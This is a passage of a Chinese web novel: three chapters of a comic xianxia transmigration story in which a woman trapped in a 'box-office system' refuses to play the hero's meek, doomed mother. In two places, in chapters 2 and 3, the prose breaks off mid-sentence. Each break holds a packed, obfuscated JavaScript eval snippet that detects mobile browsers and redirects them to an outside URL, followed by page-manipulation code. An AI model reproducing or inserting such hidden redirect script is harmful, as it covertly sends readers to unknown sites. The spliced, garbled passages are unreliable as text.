《她要冲出热门电影》 1. 《逆灵》01 【预警】 1、第一二卷有大量对虫状生物的描写,虫恐慎入; 2、不是打怪升级的热血少年文学,没有浪漫爱,女主出场是中年,然后是儿童,第三卷才是年轻女性; 3、不是大长篇,只有大约150多章,作者已写完大半,在修,不会再延长; 4、吐槽向,如果冒犯到你喜欢的文艺作品,那就是作者故意的(#^.^#) ++++++++++++++++ “田夫人,出事了,你家儿子又闯祸了!” 吴迪睁开眼,眼前是明晃晃的日光,手里是沉甸甸的木桶,自己正要迈过门槛,踏进一座古色古香的小院。 【叮!宿主已绑定“院线票房冲冲冲”系统,现在助力的大片是《逆灵·天命之战》,票房目标:100亿,请扮演角色:田夫人。】 脑子里响起一个男声。吴迪恍恍惚惚,想起了自己断片前的最后一幕:剧痛,尖叫,一片红光。然而,除此以外,其他的人生经历都像被打了码,模糊不清。 不容她喘息,眼前跳出一块半透明的任务面板,上面显示着: 【主线任务】 〇扮演角色:田夫人(32岁,慈爱、温柔、贤惠) 〇确保剧情推进,直至屏幕上出现“剧终” 〇辅助预测票房达成100亿 还有一大堆指标,什么“情节进度”“情感线”“人设”之类的,她看得半懂不懂。 吴迪明白,自己是穿越了,做不完任务,就不能回到现实。 “不是吧,有没有搞错,这年头谁还进影院啊,我可是只知道刷抖〇和快〇的粗人啊,上次看电影还是《夺命N头鲨》系列啊,干嘛选中我?” 她无奈地乱划面板,越看越抓狂:“喂,系统,听到没有,我没文化,能不能用我听得懂的话给我解释一下该怎么操作?类似于‘注意看,这个女人叫做小美,她因为躲避佛波勒的追击被泥头车创死了,穿越到一个奇怪的任务中’,赶紧的啊。” 【……请宿主不要吐槽。第一步,先点开“一句话简介”。】 吴迪老眼昏花,好不容易找到那个名为“一句话简介”的链接,一点进去,马上跳出一行大字: “修真世界里,原本修为平平的主角,意外发现自己其实是罕见的‘逆灵’之体,快速飞升,扫灭魔物,最终称霸三界。” 诶,你别说,貌似慈爱温柔的中年女人逆袭成为三界霸主,确实还挺带感的。如果吴迪有时间,会去下个澳门〇京资源看看的。 【第二步,点开“人物卡”。】 吴迪找到“人物卡”图标,点了进去—— *主角*:田厉,男(童年10岁,成年20岁) *性格特质*:聪明、勇敢、有志向 *成长背景*:田厉的父亲是天赋异禀的修士,在他两岁时前往上仙宫修习,他与母亲田夫人住在丁州艾蝻县。童年的田厉活泼好动,四处惹祸,不肯好好修炼,修为平平无奇。但不久,魔物入侵小镇,母亲为保护他而死,引发他的觉醒——他再也不是之前调皮捣蛋的小男孩了,瞬间成长为真正的男子汉!当丧母之痛席卷他的内心,他才发现自己是天生的“逆灵”之体!于是,他和好兄弟铲除魔物,找到已经成为上仙宫长老的父亲,从一个被人轻视的街头小混混,走上逆天改命之路…… “哈?”吴迪满头问号,“原来主角不是我?” 她又翻了半天,才找到“田夫人”的人物卡,可能因为是她要扮演的角色,这一页还有“人物小传”。但这人物小传整个儿还不如主角的成长背景一段长,那是相当的简略粗糙。 “我这个角色就是个打酱油的吗!那票房和我有什么关系?” 系统提示音响起:【不是打酱油,你是男主母亲,是剧情重要转折点,也是情感色轮重要部分。】 “什么轮?” 系统帮她跳回主页,五花八门的数据图表中,有一个调色盘一样的图形,里面主要的是由浅黄到深黄的喜悦、狂喜之类的情绪,但还有少量蓝色伤感、悲痛。系统圈出蓝色部分,介绍道: 【你看,好电影要有多重情绪,你的角色给电影增加了爽感以外的另一种情绪,通俗来说,就是泪点。】 吴迪又忍不住吐槽了:“谁的爽感和泪点啊?反正我已经不想看了。我会划走的哦,一秒钟也不会多看的哦。” 【你怎么想不重要,大众爱看就行。初始的预测票房和热度已经很高了。】 吴迪一看,果然,【预测票房】的初始值就是10亿,【热度排名】第7位。吴迪也不知道10亿对电影业是什么概念,但反正她肯定是没见过这么多钱,因为她的眼睛不受控制地盯着那一串零,看了又看,根本移不开。 完了,自己现实中是个穷鬼吧。 她语气柔软了几分:“这些钱……呃我是说票房……会给我分红吗?” 【你的目标是回到现实世界,不要考虑钱的事情。再次提醒,只有票房预测值达到100亿,宿主才能回归现实世界;若票房预测值低于2亿成本价,宿主则会死亡。】 哈?一提钱就开始死亡威胁?吴迪很讨厌这种被人拿捏的感觉,但此刻寄人篱下,也只能暂且隐忍不发,继续把面板上那堆数据图表一个个看过去。 看了一圈,她发现有个叫“人物弧光完成度”的图标,是灰色的,点不动。她问系统这是什么意思,系统却说不重要,既然没用,就别问了。 可是,如果真没用,主页上为什么又要显示? 不会有什么坑吧? 吴迪点了又点,那灰色图标还是没反应,只能放弃。而系统也不知道在急什么,仅给了几分钟时间看剧本,就催她开始任务。好在田夫人这个角色没啥台词,哪怕吴迪还没从泥头车的巨大冲击中缓过来,昏头昏脑,也能迅速记住—— 她拎着水桶,跨进了门槛。 【“人设贴合度”+1%,当前值61%。“情节推进度”+1%,当前值31%。宿主适应得很快,加油!】 嗯?这么简单的吗? “田夫人,出事了,你家儿子又闯祸了!”群演邻居在院子里叫嚷。 吴迪清清嗓子,代入角色:“知道了,他在哪里?” “在钱府,惹怒了钱大小姐,你快去看看吧!” 她放了水桶,跟着邻居向钱府走去。一路上,邻居给她交代了一些信息: 那钱大小姐,现今8岁,是艾蝻县富家钱氏之女,生而有灵根,但骄纵傲慢,跟着个游方道人学了点小小法术,便不把旁人放在眼里。最近,天凤山玄羽门的两位仙师下山捉鬼,路过镇上,钱夫人盛情款待他们,想借机把女儿送进玄羽门修行。 但玄羽门是个赫赫有名的宗派,弟子都要经过层层选拔才能进去。两位长老便设下一个小小测试,来考验钱大小姐。 不料,顽童田厉误入测试现场,砸了场子。 邻居在一旁讲田厉如何闯祸,讲着讲着,笑出了声:“仙师要考凝冰术,钱大小姐本想炫个技,用瓶水凝一枝梅花,哪知道,哪知道……哈哈,哪知道你家捣蛋的田厉,在瓶水里撒了尿。钱大小姐凝的花飞到仙师面前,差点把仙师熏晕过去。她慌得上去查看,那花又忽然融化了,弄了她满手满身,哈哈,哈哈……” 邻居笑得上气不接下气。 【提示:前方出现笑点。】一个绿色四面体出现在视野右下角,应该就是等待拾取的“笑点”了。 系统又提示道:【马上钱府有一场追逐戏,钱大小姐要打田厉,你去拦她,被她推倒在地,田厉为了给娘亲出气,把钱家的房子都差点拆了。这里要注意演出幽默感。】 “这有什么好笑?”吴迪莫名其妙,很难做到幽默。 【宿主若需辅助,可用1亿预测票房值兑换“演技提升卡”一张。】 直接以亿为单位是吧,什么天地银行。穷鬼吴迪立刻决定不兑换了,硬着头皮自己上。 不就是被小孩子推倒一下嘛,也不是什么大事。 来到田府大门前,正是一团混乱,人声喧哗。吴迪和邻居挤进人群,只见几十个仆人跑来跑去,追逐着一个猴子似的身影。 和剧本安排的一样,她刚要上前,就被一个重物撞在腰间。 然而,本该跌倒的吴迪,却眼疾手快,站稳身子,还扶住了撞她的小孩。 “……”身手太敏捷了,对不起。 看来现实中的自己,反应挺快的,有点肌肉记忆在身上。可惜,对这个任务而言,这好像不是好事。 【人设贴合度-5%,情节推进度-10%】 喂,涨如蜗牛上树,跌如王八落井啊!一个动作就扣这么多的么? 坑,果然坑多。 怀里是个小女孩,应该就是钱大小姐了。只见她满脸泪痕,一身素色衣服尽是脏污,黑亮亮的眼睛已没有泪水,盛满愤怒和倔强。 不知为何,吴迪心头蹿起一股无名火。 钱大小姐属于连角色卡都没有的小配角,只有这一幕戏,用以展现童年男主的调皮,也带出一个背景介绍,男主因灵力低微,经常被钱大小姐这样高高在上的富家女瞧不起。 可是,这女孩子哪里高高在上了?这不是像一只生气的小狮子,很惹人怜爱吗? 正想着,小男主左冲右突,跑出仆人的包围圈,跳到吴迪面前,呲出一口大牙:“娘,你怎么来了!” 坏了,因为母亲没有被撞倒,田厉没理由继续闹了。吴迪调出原剧本台词看了一眼,发现已经接不上,只能脑子狂转,想该如何推进剧情。 “呃……唔……你……你给人家赔罪没有?” 对,作为母亲肯定应该这么说,闯了大祸,影响小朋友升学,可不得好好赔罪吗? 【情节推进度-1%】 什么?这居然不对吗?难道不该这样教育孩子? 田厉一愣,嗤笑道:“娘,你说什么呢?我只是跟她闹着玩,哪知道她这么开不起玩笑!” “玩笑?”吴迪脱口而出,“你影响的是人家的人生大事,知道不?” 诶,怎么自己加戏了?这样说不会又不对吧,系统呢? 这次系统倒是没有发声,只有田厉一脸不屑地接上了话:“有那么严重吗,什么人生大事啊,你不会真以为她考得上吧?” 虽说是演戏,但这熊孩子也太欠揍了。看着他那表情,吴迪怒气上头,根本“慈爱”不了一点。 田厉还在大放厥词:“她不过是学了点三脚猫的江湖邪术,装什么装啊。自己出乖露丑,还要怪别人……啊——” 几个田家仆人冲过来,抓住了男主。只怪男主说得太投入,一个不留神,就被按在了地上。 “哎哟哟,轻点啊!”男主喜庆的大脸被压成了鞋拔子。 家仆们嚷道:“夫人,怎么处置他?” 吴迪抬头看去,一个女人站在大门前的台阶上,眼神犀利,一看就有种主事者的精明强干,不是等闲之辈。 要押送官府?还是赔一个亿?自己演的这角色一看就掏不出钱啊,难道只能把男主杀了谢罪全剧终? 女人犀利的目光上下打量吴迪一番,终于发话:“让他跪下,给我女儿磕三个头赔罪。” 吴迪松了口气。没想到钱夫人如此善良好说话,看来应该是个正面角色吧! 不 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小女孩已经站直身子,抹去泪痕,一脸坚毅之色。她扭头瞪了那帮看客一眼,叫道:“娘,跟他们有什么好说!来喜、来福,你们都上,给我狠狠揍他!” 众人哗然,“啧啧”之声不断,也不知道在阴阳什么。谴责的目光像一道围墙,把小女孩围在中间,倒好像她是一个该被审判的罪人。在这些目光下,钱家的仆人都心虚了,面面相觑,进退无措。 钱夫人脸色铁青,嘴唇颤动,吴迪嗅到了危险的气息,知道这个女人马上要像护崽的母狼一样发作,但围观众人浑然不觉,还在窃窃私语—— “太刁蛮了,以后谁敢娶这丫头。” “不就是小男孩顽皮撒了泡童子尿吗,多可爱啊,用得着这么大动肝火?” “就是,依我看,这钱家婆子自己生不出儿子,所以就逮着穷人家的儿子欺负,就是嫉妒心作祟吧。” 钱夫人终于爆发,厉声道:“给我——” “慢着!” 一声高喝打断了即将上演的“富太太仗势欺人”情节。 所有视线集中在吴迪身上。 她大步走到那些按着男主的仆人面前。 【叮!您已激活隐藏支线剧情:慈母护子。宿主可代替儿子跪下哀求,接受钱家母女的羞辱。若能完成,情节推进度将恢复初始值,即,剧情通过另一路径回归主线,男主觉醒值上升1%,奖励10创新点……】 “啪啪啪啪!”吴迪连甩四个大耳光,全部落在了男主脸上。 寂静,彻底的寂静。 【警告!警告!】系统尖啸起来,【人设贴合度-30%,情节推进度-10%,笑点领取任务失败。宿主请注意,田夫人的人设是慈爱温柔,若人设贴合度跌到20%以下,就将被判定为人设崩塌!】 一时间,面板乱弹,各种数据一阵暴跌,令人眼花。吴迪却觉得,反正自己内心的怒气值是减少了50%,舒服多了。 她看向那些看客:“我是他娘,我来教训他,总不是仗势欺人吧?” 接着,她推开仆人们,把男主拎起来:“给小朋友道歉。” 男主一脸震惊地看着她,许久,发出野兽一般的尖叫。 “你放开我!我才不要道歉,明明是她先惹我!” 他疯狂扭动,甚至想扭头咬吴迪,可惜脖子太短咬不着。吴迪本是现代人,一开始只想让他真诚地道个歉,没想到男主这么欠打,弄得她怒气值又噌噌乱蹿,终于还是用力把他按在地上,抓着他的脑袋,砰砰地给小女孩磕了三个响头。 男主鬼哭狼嚎,脸肿得如猪头也似。吴迪这才放手,向钱夫人拱手道:“得罪了,如果还需要什么赔偿,尽管跟我讲。” 然后,她把男主撂出人群,吓得看客们一阵惊呼。 “你你你,你这——”男书生拿扇子指着她。 “悍妇是吗?”吴迪一手叉腰,一手将他的扇子拍飞,“是,我凶悍得很,再不滚,我连你一起打!” 她打人,会很自然地动用腰腹力量,哪怕有所收敛,也还是打得有点猛。哎,没办法,可能原本就是练家子吧。 众人向后退去,系统在脑子里疯狂提醒:【人设贴合度-10%,当前值16%。宿主已OOC!激活“人设违章黄牌”!】 “哎哟!”后脑勺像是被敲了一闷棍,吴迪眼前一黑,差点跌倒。过了半晌,她才缓过呼吸,眼前阴翳散去,所见仍是方才的景物,日光明亮,人声嘈杂。 他爹的,还能直接作用于宿主肉||体,这系统不会就是传说中的病毐系统吧? 不过,就这,她还扛得住,不如泥头车一个刮擦。 她冷笑一声,随即发觉,自己刚才没倒,是因为右臂被什么东西托住了。那是一只小小的手,她心中一动,回头看去,看到一双倔强的黑眼睛。 不知什么时候,钱大小姐挣脱拉着她的丫头们,跑了过来。她收回手,昂头看向别处:“要气回你自己家去气,别气死在我家大门口。” 听着她故作傲娇的口吻,吴迪忽然起了闲心,想逗她一逗:“这就放我走啦?害你去不了玄羽门,是很严重的事情哦。” “嘁,有什么严重的。那两个仙师,因为别人的错误就生我的气,说明是非不分;是非不分的人,道行又能高到哪里去?没跟他们入山,我看倒是好事呢!” 哦?这小孩,倒有点意思。 吴迪带着一丝笑意,仔细打量起她来。小孩姐被她看得有点别扭,“哼”了一声,跑回自己母亲那里去了。 2. 《逆灵》02 【宿主,快去找到男主哄哄他啊,他在这里!】 系统调出地图,一个光点在名为“集市”的地方乱窜。 吴迪斜眼看了下:“不会掉进江河池塘里吧?” 【不会。】 “这城里没有喜欢男童的变||态男吧?” 【没有。】 “不会被豺狼虎豹吃了吧?” 【不会。我们的男主可是气运之子,怎么会被这些杂鱼伤到!】 “哦,那就好,那我找他干啥?” 吴迪说着,一个人向“家”走去。 【宿主,你要赶紧修复母子关系……你别有意见,系统也是为你好。】系统男声开启说教模式,甚至有了一丝语重心长的情绪色彩,【现在人设贴合度已经很低了,剧情也走偏了,虽然还有机会圆回来,但剧情推进度就会停滞很长时间……】 【笑点也没有拿到,你看笑点图标已经消失了,错过就没法恢复了。】 【甚至开场就激活了1次“人设违章黄牌”,从来没有这么快的!3次黄牌以后,就要红牌了!】 吴迪没想到还有这出,终于忍不住接话:“红牌会怎样?” 【会死。】 怎么动不动就死啊?她气结:“那黄牌可以撤销吗?” 【……可以,但要消耗2亿票房值。你的预测票房值已下降500w,现为9亿9千5百万。】 不是,怎么就下降这么多了?敢情她越觉得爽,观众就越不爽是吧。 自己在现实中,莫不是什么怪咖吧,怎么和众人是逆行的呢? 正想着逆行,前方逆向跑来一队人马,扬起阵阵尘土。吴迪已经怕了交通事故,赶紧让道。 只见为首的官兵骑着骏马、扛着大旗,随之而来的是一辆四匹枣红马拉的华丽马车。 “大人物啊。”吴迪抱臂观看。 马车四檐各挂着一个镂空莲花状金铃,叮叮当当,奢华精巧,该不会是纯金打造的吧?这个卖掉,不知值多少钱? 畅想了一会儿,烟尘散去,吴迪这才发现前方跪了一溜人,刚才钱家门口的老头、农夫、书生全跪在那里,大人物早走远了,他们还不敢抬头。 吴迪指向那群人:“啊?不是说男儿膝下有黄金吗?” 【这是太守车驾,按照古代史实,百姓见了太守自然要下跪。宿主缺乏文化常识,就不要老是吐槽了,要多学习,懂?须知,本片是汇集十位金针奖编剧心血的古风大作,弘扬传统文化,传承历史情怀,就像本AI,即是在学习金针奖剧本基础上生成的LLM,因此博古通今,无所不知……】 打了两分钟广告以后,系统才回复正题:【接下来,为宿主复盘第一场戏,请宿主聆听。】 “这个……‘聆听’用得不对吧?”吴迪迟疑道。 【本片是标准的三幕戏。第一场戏很重要,在这里,男主粉墨登场……】 “粉墨登场,我记得小学学过,不是形容坏人登上历史舞台吗?喂,说我没文化,怎么金针古风编剧还不如我?” 【……宿主不要侮辱金针奖编剧!总之,宿主的角色,是男主慈母,如果不温柔,怎么能让男主怀念一辈子呢?你是不是不知道怎么演温柔?我教你,要演出一点柔弱感,就像刚才,你可以倒在地上,垂泪,哀求,甚至晕过去,连台词都不用讲了,这不是很简单?】 “不对吧,你不是说男主是气运之子,连那什么魔物都能杀灭的,他娘怎么会哭两声就晕倒了呢?母亲弱成这样,怎么生出霸主的啊?” 【这个……这个是遗传了他爹的阳刚之气。】 “还是有漏洞啊,这么柔弱的娘,怎么独自带着小孩生存了十年?” 【女子本弱,为母则刚。你为了孩子就有办法了,但你本来是柔弱的,这个逻辑是,是,#@¥%&***】 系统颠三倒四,胡讲一通,最后总结道:【总之你就听我教你的就是了,一个新人,不要自以为是,懂?】 吴迪皱眉:“你说戏的时候有股味儿,听着好难受,能调个模式吗?” 【可以,可用1亿票房值兑换“爹味消除卡”一张,降低20%爹味;如果想选声音,需10亿票房值。】 开玩笑吧,你咋不上天呢?吴迪刚想开骂,系统又说:【我得去处理其他项目了,你这边会进入剧本外场景,所有指标暂时锁定。但也不要懈怠!戏外时间其实才是最关键的,要和男主好好培养感情,这样才能演好下一幕,尽快回归原本的剧情主线,懂?】 说完,系统离线了,面板切换为锁定模式。吴迪冷笑一声:原来在自己这里颐指气使的系统,本质也只是牛马,还要同时做几个项目,卷到飞起。 四周变得很安静,乡野黄昏的气息拂面而来,很是真实。吴迪好奇地看着周围景物——根据设定,这丁州艾蝻县地处北地边陲,河流上游是蛮人的草原,再往北是灵涯山脉,凡界和修真界的界山。 男主爹(原主老公)所在的上仙宫,高高在上,凡间望不到。但原主还是想力所能及离他更近一点,才始终定居于此不肯离去。 这会儿空气清新,远处的雪山挺漂亮的。吴迪看着日照金山,顺着土路,不知不觉,就走回了自己的“家”。 开门踏入主屋,环顾四周,她皱起眉头。 这比她想象得还穷啊!怎么穿越成顶级穷鬼了! 下午出去的时候,还没来得及细看。只见这屋里就没有几件完整的家具,不是断腿的椅子,就是豁边的碗,虽然都进行过精心修补,但主人勉力维持的体面下,显然是掩盖不住的穷苦和劳累。 这日子过得……原主还记得她其实也是一个仙门高徒吗? 之前看人物卡的时候,吴迪就发现了:男主的爹、好兄弟、反派,都有很长的背景故事,唯独田夫人没有。 田夫人这个人物,好像是在男主出生的那一刻,才出现在这个世界。此前,无知无觉,无根无蒂。 但她脑子里自带了原主的记忆:原主天赋异禀,师从修真界境界最高的八大仙尊之一,青鸾仙姥。青鸾仙姥已执掌娏天宗五百年,此宗派有一部《婋奾宝典》,乃是上古秘籍,代代相传,分为赤焰飞星、流火覆体、赤莲净世、炎蛇缚骨、烛龙衔晷、燎原焚风、熔海吞山、金乌裂穹、焚天凰舞九层,每一层又分阶,第一层有1阶,第二层2阶,第三层3阶,如是类推。练至九层焚天凰舞,则天下无敌。 然而此术只能女子修炼,男子修炼则经脉俱断,骨血销溶。且对于女子,修炼也绝非易事: 首先,此心法属于火系中最烈的炎道,稍有不慎就可能伤到自己; 其次,修炼过程很辛苦,还会遇到各种各样的瓶颈,就连青鸾仙姥练了上千年, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033091|194567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也只练到第八层“金乌裂穹”的第七阶; 更关键的是,这心法有一个问题,就是修为不进则退。只要一日不修,就开始倒退,懈怠一久,甚至会灵台归寂,沦为凡人。 听起来好像没什么,只要每天坚持就行了。但是,每天坚持,恰是绝大多数人无法逾越的难关。 原主就是个失败典例。 原主本是师尊千挑万选找来的好根骨,七岁入门,十五岁筑基,当时就突破了《婋奾宝典》第三层“赤莲净世”,随后练至第二阶。 然而,十八岁时,她第一回离山去参加门派大比,就遇到了身为镜花阁弟子、年轻貌美的男主爹。一场比赛,两人打成平手,旁观者都说两人才貌相当,甚是般配。更有无命楼楼主鬼算子推算命理,说两人是前世宿缘。年轻懵懂的原主,在众人的起哄之中,迷迷瞪瞪,渐渐也觉得自己确实“喜欢”男主爹了。 后来,就是不顾师尊师姊反对,决意和男主爹结为道侣。结果十九岁结亲,不到一年就倒退至灵台归寂,此后只能以凡人之躯生下孩子。 与此同时,男主爹却不断突破境界,成了有名的年轻天才。 这个时候,原主已经后悔了,但事已至此,只能自我安慰,丈夫事业有成,也是自己的骄傲,将来他得道,总不会亏待自己和孩子吧? 只是没想到,丈夫被上仙宫选中,前去修习。这一去,就是十年不回。 原主慌了,时而担心丈夫已变心绝情,时而坚信他只是因闭关而音信不通。她反复横跳,纠结无比,内心受尽折磨。同时,又因修为尽失,只能做各种杂工养孩子,身体自然也是疲累不堪。如此身心交病,哪还有功夫想别的? 她在凡界本是孤儿,举目无亲。偶有同门师姊寄信来问她近况,她不想让她们担忧,只好不回。但当夜深人静,抚摸着那些漂亮的笺纸,看着那些熟悉的笔迹,她的心也会飘回师门所在的炎洲火林山,好像听见了师姊们修炼归来的欢声笑语…… 吴迪品味着原主回忆,感觉处处皆可吐槽,反倒槽多无口,最终只能轻声一叹: “哎,好傻。” 明明有机会练成天下第一的功法,却沦落到这个境地,这跟头栽得也真够重的。 她走进原主寒酸的卧房,凭记忆找到一个樟木衣箱,从中拿出寥寥几件旧衣,在箱子底部找到了一本泛黄的册子。打开一看,满是细密的字迹,虽不好看,却写得很认真——那是原主在火林山修习时做的笔记。 还挺上进的嘛。怎么后来说放弃就放弃了? 看了两页,吴迪发现自己居然还能看懂。这火系功法光看名字就很了不得,这要练成了不是分分钟把敌人全火化了吗?哈哈哈哈……等等,为什么会想到“敌人”?难道自己现实中是个老兵? 哎不管了,总之这可比演什么破电影有趣一万倍,她越看越蠢蠢欲动,很想立刻练上一把。 为了确认不会受到打扰,她先打开面板看了看,见显示的是确实还是锁定模式。只是,这一看之下,她赫然发现,那个原本是灰色的图标——“人物弧光完成度”——竟变成金色了。 【人物弧光完成度:1%】 嗯?这到底什么意思?是好是坏?吴迪试图问系统,但它真的离线了,没有回应。 算了,管它的。业余时间,毫无自我修养的演员先修个仙再说。 3. 《逆灵》03 窗外,夕阳渐渐西沉。吴迪点亮油灯,凝神看着那微弱的火苗,按照原主记忆中的引气诀,尝试着吸纳灵气。 引气诀是修真的入门功法,就像四则运算,一旦学会了,哪怕多年不用,也绝不至于生疏。吴迪很快进入状态,打坐入定,心沉如水,感受着周围灵气的存在。 寻找灵气,只需用心感应,灵根越好的人越容易感应到。原主拥有极佳的火灵根,此事自然易如反掌。 不一会儿,吴迪就感到周围场景像加了灰色滤镜般暗淡下去,在这背景的衬托下,一个赤色的光团突显出来——正是她需要的火灵气! 她凝聚神识,慢慢吸引那光团靠近自己,将其吸纳入体。 “嘶!” 丹田骤然传来尖锐刺痛。吴迪一怔,脑子里忽然又浮起一段记忆。 那是一段被尘封的记忆,陌生感很强。当时,原主正为了结昏,和师尊大闹。 空旷的大殿,尽头悬挂着象征烈火的红色纱帘,帘后有一朦胧人影盘膝而坐。女人浑厚的声音响起,在大殿中回荡: “放下修行容易,要重新开始就难了,只怕那代价,你承受不起!” 原主不以为然:“为何师尊认定我会放下修行?师尊就如此不信任我么?与一个优秀的道侣在一起,自然能彼此成就,携手共进,强强联合,到时候,我俩会成为人人艳羡的神仙眷侣!” “呃!”吴迪捂脸。难怪这段记忆被尘封了,原主后来自己也不愿意想起来吧! 这确实没法进写人物卡,金针编剧都要边写边爆笑了。 看来,要唤醒归寂的灵台,每一次吐纳都必须忍受疼痛才行。真遭罪啊,这就是犯傻的代价。 不过,在吴迪看来,人犯傻乃是常事,尤其少时——犯傻不是小动物成长的必经之路吗?少男犯错又频繁又严重,但一般也不要紧,多年后还能成为“年少轻狂”的笑谈、“浪子回头”的美谈呢。而少女只要犯错一次,就往往万劫不复——这不是少女的问题,而是世界把她们的试错成本拉得太高。 所以,她不是很想苛责原主。 她只是有点想不通,原主难道是因为受不了疼痛,所以无法重新开始修行吗?不应该啊,一个优秀的玄门弟子不至于连这点毅力都没有,更何况,这总没有生孩子疼吧? 吴迪又试了一下,疼痛却没再发作。 但不是因为副作用消失了,是因为她没能吸入灵气。 她再三尝试,腿都要坐出血栓了,还是没感受到第二团灵气。终于发现,原来这凡界灵气异常稀薄。 可是艾蝻县就在灵涯山脉脚下,离修真界一步之遥,也一点没沾到光么?是不是就因为这个,断绝了原主重新修炼的希望? 正想着,一阵敲门声打断了她的清修。吴迪好不耐烦,撑着酸麻的腿站起来,开门一看,顿时无语。 几个邻居拉着疯狂挣扎的田厉,像钓鱼佬拎着扑腾乱跳的大鱼。有人笑嘻嘻地说:“田嫂子,儿子给你送回来了,不用谢啊。” 谁谢你了啊!系统都下线了,这群NPC怎么还在自动运行,这么拼的吗? 田厉显然也毫不感谢这群热心人,尖叫道:“放开我!我要离家出走!!!” “嘿嘿,说什么呢,看你娘都急成什么样了——快回家吧,让你娘做你喜欢吃的菜——” 吴迪把小孩拎进来,砰地关上了门。 屋里安静了。田厉抬头看她一眼,气鼓鼓地移开目光。 “告诉你!我、我本来想离家出走的!” “哦。” “我今天真的气死了!” “哦。” “你怎么能站在外人那边,帮她们欺负你儿子!” “你要搞清楚,是你在欺负人家。” 田厉一愣:“你怎么也这么说?我哪里欺负她了?我只是开个玩笑,大家都觉得没什么,就她小气!” 吴迪发现这小孩是相当的不正常。她耐住性子,试图跟他理一理今天发生的事,谁知,无论她怎么说,田厉都只用一招来反击。 那就是抬出“大家说”。 吴迪说:“这并不好笑。”田厉就说:“大家都说好笑。” 吴迪说:“钱家小姑娘其实蛮好的。”田厉就说:“大家都说她太装了。” 吴迪说:“你也应该向她学学,努力修行。”田厉就说:“她那点修为算什么,大家都说我只要稍微用心,立马超过她。” 没说几句,吴迪的耐心就到了极限:“大家说大家说,大家就一定是对的啊?” 田厉冷笑:“不然呢,你一个人对?” 这句话倒是让吴迪怔住了。 大家、大家…… 对哦,差点忘了,这个世界,是以田厉为中心的。“大家”会把他的破坏视为“有趣”“可爱”,以“他还是一个孩子”“他在闹着玩”来开脱他犯下的所有错误,他又怎么可能正常? 原来,作为母亲,不管是温和引导,还是严厉管教,其实都无济于事。正如田厉所说,母亲只是“一个人”,而一个人对抗不了整个世界。 “呵……原来是这样。” 吴迪终于知道原主为什么不能重新修行了。 疼痛,可以忍受;灵气稀薄,也总可以慢慢积累。问题是,原主已经在执行一个对抗全世界的艰巨任务,哪还有余力去干别的? 就像一个人,身上绑着一块巨石,不要说攀登高峰了,不被拖入深渊都算很了不起了。原主还没有变得和县里那些不正常的人一样不正常,还知道煞费苦心管教男儿,可能正多亏了她身负异才。 换了一般人,早已随巨石堕落,被这个不正常的世界彻底同化。 或许,也正因如此,系统才要替换掉她? 吴迪思索一阵,走到装钱的柜子前,掏出钥匙,开了三把锁,拿出一大串铜钱。 “给你,出去玩吧。” 田厉捧着钱,一脸不可置信。 他的王牌还没出呢!本来要威胁离家出走,怎么变成被扫地出门了?? 吴迪重新打开大门,邻居们已散去了,外面月色如水,甚是清静。她指指门外:“我不说教了,以后你爱听谁的就听谁的,爱怎么想就怎么想。只不过……” “再欺负小朋友,我绝不饶你。” 月光下,女人的神色有几分森然。田厉回过神来,想起她下午揍自己的力度,不由得向门外退了几步。 砰!门重新重重关上。 吴迪向卧房走去,脑海里原主的记忆疯狂翻涌:男主婴儿时卖萌的笑容;两三岁时抱着原主奶声奶气地说“最爱娘亲了”;在外面摘了朵好看的野花,小心翼翼护了一路,把皱巴巴的花瓣献宝似地捧到母亲面前…… “行了行了,修为尽失你不急,不疼你这男儿你就急了。”吴迪仰望虚空,“急什么,你就没发现,你那可爱的‘孩’,已经在变成讨厌的‘男’了吗?养着养着,都已经变异了啊。” 按理说,原主已从这个世界消失,不能向吴迪传达什么信息。刚才那个瞬间,可能是她的“灵魂”拼尽全力才制造出的奇迹。 真是伟大的母爱。可是,有必要么? “放心,我一个大女人,你把我想成什么了?既夺了你的舍,总不至于虐你的娃。只是你不觉得应该给他解个绑、断个奶,让他学做独立男孩了么?何况他是气运之子男主诶,又不会走丢,还有这么粗的金手指……” 等等! 吴迪停住脚步。 “金手指!他有金手指,你怎么没有?那啥,逆灵之体,应该是遗传的吧?” 脑海中的母婴短视频戛然而止,原主的意识似乎被掐断了。 吴迪敏锐地感到,自己触及了这个世界的一个隐秘问题。 是啊,男主有某种独特的根骨,这总不能是凭空产生的吧?何况这种修真设定,最喜欢讲血统了,既然从后续情节看,男主爹平平无奇,那么只能是来自母亲的遗传了啊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033092|194567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然而,到底什么是“逆灵之体”? 吴迪调出系统面板,把能看的都看了一遍,却发现这个设定语焉不详。总之就是男主觉醒神力,一路赢赢赢就行了。至于这神力是何原理,金针编剧自己也编不圆。 这当然了,他们又没修过仙。 从字面上看,“逆灵”似乎指男主可以逆炼功法,产生比其他人更强的效果。但如何逆炼?没细说,不知道。 吴迪尝试引气,使经脉里刚吸入的那缕灵气逆行,谁知刚一动作,浑身血管就像要炸裂了。她赶紧打住,庆幸自己现在吸收的灵气约等于零,如果是哪位灵气深厚的修士这么瞎搞,大概已经经脉寸断。 所以说,从零开始也有好处。有时候,弱,反倒是强。 